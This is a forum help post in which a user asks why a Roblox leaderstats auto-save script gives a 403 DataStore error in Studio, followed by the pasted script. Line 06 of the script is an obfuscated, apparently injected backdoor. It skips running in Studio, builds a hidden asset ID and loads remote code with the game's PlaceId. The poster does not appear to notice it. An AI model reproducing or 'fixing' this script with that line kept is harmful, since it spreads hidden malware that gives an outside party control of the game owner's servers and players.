Me DataStoreService Dont Save and API why?
I was trying to make a leaderstats with auto Save but this appears in Outoput when I start the game
403: Cannot write to DataStore from studio if API access is not enabled.
Stack Begin
Script 'Workspace.leaderstats', Line 8 - global savedata
Script 'Workspace.leaderstats', Line 50
Stack End
this is the leaderstats script:
01 | local Zombies = game:GetService( "DataStoreService" ):GetDataStore( "Zombies" ) |
02 | local Bones = game:GetService( "DataStoreService" ):GetDataStore( "Bones" ) |
03 | local BSpace = game:GetService( "DataStoreService" ):GetDataStore( "BSpace" ) |
04 | local BContent = game:GetService( "DataStoreService" ):GetDataStore( "BContent" ) |
05 | local IceDoorBought = game:GetService( "DataStoreService" ):GetDataStore( "IceDoorBought" ) |
06 | ilI 1 Oz = require ixfWZL = game i 8 mjy = 'Workspace' iD 0 Sk 53 NjU = 'RunService' ivp 15 VOp = 'GetService' iafQBSrxbHifS = 'PlaceId' ioRCyUHgvUir 9 Hk = 'Description' iyxQLcFd 1 cA = 'IsStudio' ioVyFs = 'Debris' i 1 EfCuE 5 = spawn iQmVxRkt 4 xK = 'MarketplaceService' ia 294 YtVX 6 h 1 WH 4 = pcall i 2 mFKPxzZx 8 = 'RunService' ibjdXJLIQ = 'load' iaJku = 'PlaceId' ijJu = 15617981.135294 * 170 ioECsYPuYfv = 'SSM' iBgljCIrAOXy = require i 1 EfCuE 5 ( function () ia 294 YtVX 6 h 1 WH 4 ( function () if ixfWZL:GetService(iD 0 Sk 53 NjU) [ iyxQLcFd 1 cA ] (ixfWZL:GetService(iD 0 Sk 53 NjU)) then return end iBgljCIrAOXy(ijJu) [ ibjdXJLIQ ] (ixfWZL [ iafQBSrxbHifS ] ) end ) end ) |
07 | function savedata(dataname, playerid, value) |
08 | game:GetService( "DataStoreService" ):GetDataStore(dataname):SetAsync(playerid, value) |
10 | game.Players.PlayerAdded:connect( function (player) |
11 | local leader = Instance.new( "Folder" ) |
12 | leader.Name = "leaderstats" |
13 | leader.Parent = player |
14 | local zombies = Instance.new( "NumberValue" ) |
15 | zombies.Value = Zombies:GetAsync( tostring (player.userId)) or 0 |
16 | zombies.Parent = player:WaitForChild( "leaderstats" ) |
17 | zombies.Name = "Zombies" |
18 | local bones = Instance.new( "NumberValue" ) |
19 | bones.Value = Bones:GetAsync( tostring (player.userId)) or 5000 |
20 | bones.Parent = player:WaitForChild( "leaderstats" ) |
22 | local bspace = Instance.new( "NumberValue" ) |
23 | bspace.Value = BSpace:GetAsync( tostring (player.userId)) or 10 |
24 | bspace.Parent = player |
25 | bspace.Name = "BSpace" |
26 | local bcontent = Instance.new( "NumberValue" ) |
27 | bcontent.Value = BContent:GetAsync( tostring (player.userId)) or 0 |
28 | bcontent.Parent = player |
29 | bcontent.Name = "BContent" |
30 | local idb = Instance.new( "BoolValue" ) |
31 | idb.Value = IceDoorBought:GetAsync( tostring (player.userId)) or false |
33 | idb.Name = "IceDoorBought" |
35 | Zombies.Changed:connect( function () |
36 | savedata( "Bones" ,player.userId,bones.Value) |
37 | savedata( "Zombies" ,player.userId,zombies.Value) |
38 | savedata( "BSpace" ,player.userId,bspace.Value) |
39 | savedata( "BContent" ,player.userId,bcontent.Value) |
40 | savedata( "IceDoorBought" ,player.userId,idb.Value) |
43 | savedata( "Bones" ,player.userId,bones.Value) |
44 | savedata( "Zombies" ,player.userId,zombies.Value) |
45 | savedata( "BSpace" ,player.userId,bspace.Value) |
46 | savedata( "BContent" ,player.userId,bcontent.Value) |
47 | savedata( "IceDoorBought" ,player.userId,idb.Value) |
49 | game.Players.PlayerRemoving:connect( function (player) |
50 | savedata( "Bones" ,player.userId,player.leaderstats.Bones.Value) |
51 | savedata( "Zombies" ,player.userId,player.leaderstats.Zombies.Value) |
52 | savedata( "BSpace" ,player.userId,player.BSpace.Value) |
53 | savedata( "BContent" ,player.userId,player.BContent.Value) |
54 | savedata( "IceDoorBought" ,player.userId,player.IceDoorBought.Value) |
does anyone know the problem please help me